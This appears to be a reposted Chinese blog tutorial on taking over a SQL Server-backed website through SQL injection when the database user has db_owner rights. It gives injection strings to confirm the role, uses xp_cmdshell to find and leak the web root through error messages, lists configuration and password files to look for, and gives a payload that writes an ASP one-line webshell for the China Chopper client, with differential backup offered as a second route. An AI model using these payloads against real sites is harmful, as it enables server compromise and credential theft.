sql server dbowner 权限 实战

Posted 安全界 的彭于晏

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql server dbowner 权限 实战相关的知识,希望对你有一定的参考价值。

具有dbowner角色的用户,能够对数据库执行所有配置和维护操作。例如创建和删除表、存储过程、视图、函数,甚至删除数据库,还可以给其他用户设置权限。
只有增、删、改权限的用户只限于添加、删除和修改记录,其它操作都会受到限制。
第一步 查看当前网站是否为db_owner 权限
and 1=(select is_member(‘db_owner’) );-- 判断当前数据库用户是否为db_owner 权限
第二步:找出网站路径
1.通过报错或baidu google 等查找 通过搜索引擎收录报错的页面看看里面有没有网站路径

2.通过相关语句
;drop table black;create TABLE black(result varchar(7996) NULL, ID int NOT NULL IDENTITY(1,1))–
删除 在创建一个表
;insert into black exec master . . xp_cmdshell ‘dir /s c:\\1.aspx’–
通过xp_cmdshell扩展存储搜索出路径并插入到创建的表中
and (select result from black where id=1)>0–
然后在通过错误语句爆出插入到字段的路径
常见配置文件下找路径
php.ini 配置信息 php配置信息文件
my.ini mysql配置文件 记录管理员登陆过的mysql用户名和密码
user.MYD 存储mysql.user 表中的数据库链接密码
NETAbase.xml 查看iis虚拟主机配置
http.conf apache 配置文件
sam windows系统初次安装的密码
3 写一句话木马获取webshell
%20;exec%20master…xp_cmdshell%20’Echo%20"<%eval%20request(“chopper”)%>"%20>>%20c:\\wwwtest\\iis-xxser.com–wwwroot\\muma.asp’–
因为刚才得到了网站在服务器中路径所以现在可以通过xp_cmdshell 扩展存储 在这个路径下写进去一句话木马

通过菜刀连接木马
第二种方法
得到网站路径也可以getwebshell 工具 通过差异备份 来插入一句话木马

以上是关于sql server dbowner 权限 实战的主要内容,如果未能解决你的问题,请参考以下文章

如何删除具有数据库所有者权限的 SQL Server 用户

SQL Server 2008 中的登录用户映射问题

sql server public 权限实战

我们如何分配权限来设置 SQL Server Reporting Services

SQL Server Reporting Services 2008 报表生成器用户访问权限

SQL Server 2008 s-s-rS 主页错误